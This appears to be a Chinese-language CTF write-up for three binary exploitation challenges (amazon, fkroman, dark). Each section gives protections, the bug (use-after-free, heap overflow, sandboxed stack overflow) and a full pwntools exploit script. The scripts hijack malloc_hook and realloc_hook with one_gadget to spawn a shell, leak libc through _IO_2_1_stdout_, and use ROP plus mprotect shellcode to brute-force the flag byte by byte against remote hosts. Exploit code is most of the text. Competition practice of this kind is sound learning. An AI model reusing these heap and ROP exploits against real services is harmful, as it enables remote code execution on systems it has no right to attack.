国庆期间做了个小程序,没怎么学二进制……用这个来回一下档

所有题目都在:Github

amazon

checksec

1
2
3
4
5
6
[*] '/home/dajun/binary/shuzijingji/amazon/amazon'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开

静态分析

这是一个模拟购物的程序,有四项基本功能

  1. buy
  2. show
  3. checkout
  4. exit

漏洞点

  • 在checkout函数中free之后没有没有清空指针

难点

  • 它对可控制输入的位置做了限定,为指针 + 0x20的位置

利用方法

此处效仿同学

  1. 利用Tcache的特点,对同一个0x100size的块free7次,将该size的Tcache数组填满
  2. 再次对该块free,然后show,可得到libc地址
  3. 此后,malloc的块都是从0x100size的块上分下来的
  4. malloc两个小块,再malloc一个0x100size的大块,此时两小块皆处于大块内
  5. 控制第二个小块的fd指针,控制块分配到realloc_hook
  6. 将realloc_hook覆盖成one_gadget,再将malloc_hook覆盖成realloc+4
  7. getshell

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x, drop=True)
r = lambda :io.recv()
it = lambda: io.interactive()
success = lambda x, y:log.success(x + ' '+ y)

binary = './amazon'
libc_name = './libc-2.27.so'
#ip = 'chall.pwnable.tw'
#port = 10104
debug = 0
libc = ELF(libc_name)
if debug == 0:
io = remote('172.17.0.2', 8888)
else:
io = remote(ip, port)

def add(size, cont):
ru('Your choice: ')
sl('1')
ru('What item do you want to buy: ')
sl('1')
ru('How many: ')
sl('1')
ru('How long is your note: ')
sl(str(size))
ru('Content: ')
sl(cont)

def show():
ru('Your choice: ')
sl('2')

def check(idx):
ru('Your choice: ')
sl('3')
ru('Which item are you going to pay for: ')
sl(str(idx))

add(0x100, 'abc')
add(0x10, '/bin/sh\x00')
for i in range(8):
check(0)
show()
rn(6)
leak = u64(rn(6).ljust(8,'\x00'))
success('leak', hex(leak))
base = leak - 0x3ebca0
success('base', hex(base))
libc.address = base
malloc_hook = libc.sym['__malloc_hook']
realloc = libc.sym['realloc']
add(0x18, 'abc')
add(0x18, 'abc')
check(3)
add(0x100, 't'*0x20 + p64(0) + p64(0x51) + p64(malloc_hook - 0x28))
add(0x18, 'a')
add(0x18, p64(base + 0x4f322) + p64(realloc+4))
sl('1')
sl('1')
sl('1')
sl('1')
it()

fkroman

checksec

1
2
3
4
5
6
[*] '/home/dajun/binary/shuzijingji/fkroman/fkroman'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开

静态分析

喜闻乐见的菜单程序,有如下基本功能

  1. alloc
  2. show
  3. free
  4. edit
  5. exit

漏洞点

  • 依旧是free之后没有清空指针
  • edit函数可以导致溢出

难点

  • 没有直接输出内容的函数

利用方法

所幸见过一次这种题,当时没做出来,死活想不出来怎么leak

  1. malloc几个块,其中要有一个unsorted bin,并将其free
  2. 通过堆溢出,改变unsorted bin的size与fd指针的最后两个字节,将其分配到_IO_2_1_stdout_结构(看运气)
  3. 更改_IO_2_1_stdout_结构的flag为0xfbda1800,以及
    _IO_read_ptr
    _IO_read_end
    _IO_read_base
    _IO_write_base
    为0,以及_IO_write_ptr的最后一字节为\x00
  4. leak出libc地址,剩下就是简单的覆盖malloc_hook为one_gadget来getshell

脚本

考验欧皇还是非酋的时候到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
elf = ELF('./fkroman')
libc = ELF('./libc-2.23.so')
#io = process('./fkroman')
io = 0

sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x)
r = lambda :io.recv()

def add(idx, size):
sl('1')
ru('Index: ')
sl(str(idx))
ru('Size: ')
sl(str(size))

def add1(idx, size):
ru('Your choice: ')
sl('1')
#ru('Index: ')
sl(str(idx))
#ru('Size: ')
sl(str(size))

def edit(idx, size, cont):
ru('Your choice: ')
sl('4')
ru('Index: ')
sl(str(idx))
ru('Size: ')
sl(str(size))
ru('Content: ')
sl(cont)

def edit1(idx, size, cont):
ru('Your choice: ')
sl('4')
ru('Index: ')
sl(str(idx))
ru('Size: ')
sl(str(size))
ru('Content: ')
s(cont)

def free(idx):
ru('Your choice: ')
sl('3')
ru('Index: ')
sl(str(idx))

def main():
global io
io = remote('121.40.246.48', 9999)
#io = process('./fkroman', env = {"LD_PRELOAD":"./a.so"})
sleep(5)
add(0, 0x60)
add(1, 0x90)
add(2, 0x80)
add(3, 0x60)
add(4, 0x10)
free(2)
edit1(1,0xa+0x98, '/bin/sh\x00' + 'a'*0x88 + p64(0) + p64(0x71) + '\xdd\x25')
free(3)
free(0)
edit1(0, 1, '\x10')
add(5, 0x60)
add(6, 0x60)
add(7, 0x60)
payload = 'a'*3 + 'a'*0x30 + p64(0xfbad1800) + p64(0)*3 + '\x00'
edit1(7, len(payload), payload)
rn(0x40)
leak = u64(rn(8))
log.success("leak: "+hex(leak))
libc_base = leak - 192 - libc.sym['_IO_2_1_stderr_']
libc.address = libc_base
log.success('libc_base: '+hex(libc.address))
_free_hook = libc.sym['__free_hook']
_malloc_hook = libc.sym['__malloc_hook']
log.success('malloc hook: '+hex(_malloc_hook))
r()
raw_input()
add(14, 0x60)
add(15, 0x60)
add(8, 0x60)
add(9, 0x60)
free(8)
free(9)
edit1(9, 8, p64(_malloc_hook - 0x23))
sleep(1)
r()
sl('')
sl('')
r()
print '--------------------------'
add(10, 0x60)
sleep(1)
print '--------------------------'
add(11, 0x60)
sys = libc.sym['system']
one_gadget = libc.address + 0x4526a #0x45216 0x4526a 0xf02a4 0xf1147

edit1(11, 0x1b, '\x00'*0x13 + p64(one_gadget))
print '--------------------------'
add(0x10, 0x10)
io.interactive()

if __name__ == '__main__':
for i in range(32):
try:
main()
except:
io.close()
libc.address = 0
print i

dark

checksec

1
2
3
4
5
6
[*] '/home/dajun/binary/shuzijingji/dark/dark'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

很开心

静态分析

逻辑很简单,一个栈溢出,一个加了保护的沙箱,单纯的逃逸

看一下沙箱允许的系统调用

1
2
3
4
5
6
7
8
9
10
11
12
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0008
0007: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

只允许read,open和mprotect

利用方法

  1. 先用mprotect给bss段可执行权限
  2. 在bss中构造shellcode
  3. shellcode需要能做到按位进行比对,成功则继续,失败则退出

脚本

在前人的基础上改进而来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import threading
import sys
from pwn import *
import datetime

binary = './dark'
elf = ELF(binary)
libc = elf.libc

context.log_level = 'info'
sleep(0.1)

def call_func(r12, r13, r14, r15):
buf = p64(0x401272)
buf += p64(0) # rbx
buf += p64(1) # rbp
buf += p64(r12) # func name
buf += p64(r13) # rdx
buf += p64(r14) # rsi
buf += p64(r15) # rdi
buf += p64(0x401258)
buf += '0' * 56
return buf

# prepare big rop chain, because the previous overflow size is not enough for all the
# operations
def main(io, offset, cmpval):
#io = remote('121.41.41.111', 9999)
bss_addr = 0x404100
pop_rbp = 0x401149
leave_ret = 0x4011ef
b = 'a' * 0x10
b += 'b' * 8
b += call_func(elf.got['read'], 0, bss_addr, 0x300)
b += p64(pop_rbp)
b += p64(bss_addr)
b += p64(leave_ret)


#gdb.attach(io, 'b *0x40121E')
#raw_input()


io.send(b)
# read ROP to it


#pause()

sleep(0.1)

bss_addr2 = 0x404500
context.arch = 'amd64'
b = '''
mov rax, 2
mov rdi, 0x404278
mov rsi, 0
mov rdx, 0
syscall

xchg rax, rdi
xor rax, rax
mov rsi, 0x404500
mov rdx, 60
syscall

mov rcx, 0x404500
add rcx, %d
mov al, byte ptr [rcx]
cmp al, %d
jz good

bad:
mov rax, 0x40000001
syscall

good:
mov rax, 0
mov rdi, 0
mov rsi, 0x404700
mov rdx, 0x100
syscall
jmp good
'''

SC = asm(b % (offset, cmpval))

b = p64(0) # for pop ebp in leave
b += call_func(elf.got['read'], 0, elf.got['alarm'], 1) # set the elf.got['alarm'] to syscall
b += call_func(elf.got['read'], 0, bss_addr2, 10) # set rax 10
b += call_func(elf.got['alarm'], 0x404000, 0x1000, 7) # mprotect()
b += p64(0x404300)
b += 'flag\x00'
b = b.ljust(0x200, '\x00')
b += SC
io.send(b)
# read one byte to the got



#pause()


sleep(0.1)

io.send('\x05')
# read 10 bytes to set the rax



#pause()


sleep(0.1)


io.send('1' * 10)

class brute(threading.Thread):
def __init__(self, starts, end):
threading.Thread.__init__(self)
self.starts = starts
self.end = end

def run(self):
global trueflag
global f
flag = []
for i in range(self.starts, self.end):
if f > self.starts:
for j in range(30, 128):
try:
io = process(binary)
main(io, i, j)
sleep(2)
io.send('a'*0x100)
flag.append(chr(j))
log.success(flag)
break
except:
io.kill()
continue
else:
break
trueflag[self.starts // 3] = ''.join(flag)
if len(flag) > 0 and flag[-1] == '}':
f = self.starts

f = 10000
a = datetime.datetime.now()
thread = []
trueflag = list(('\x00' for i in range(30)))
for i in range(30):
b = brute(i*3, (i+1)*3)
b.start()
thread.append(b)

for t in thread:
t.join()

print ''.join(trueflag)
b = datetime.datetime.now()
second = (b - a).seconds
minute = second / 60
print second, 's'
print minute, 'm'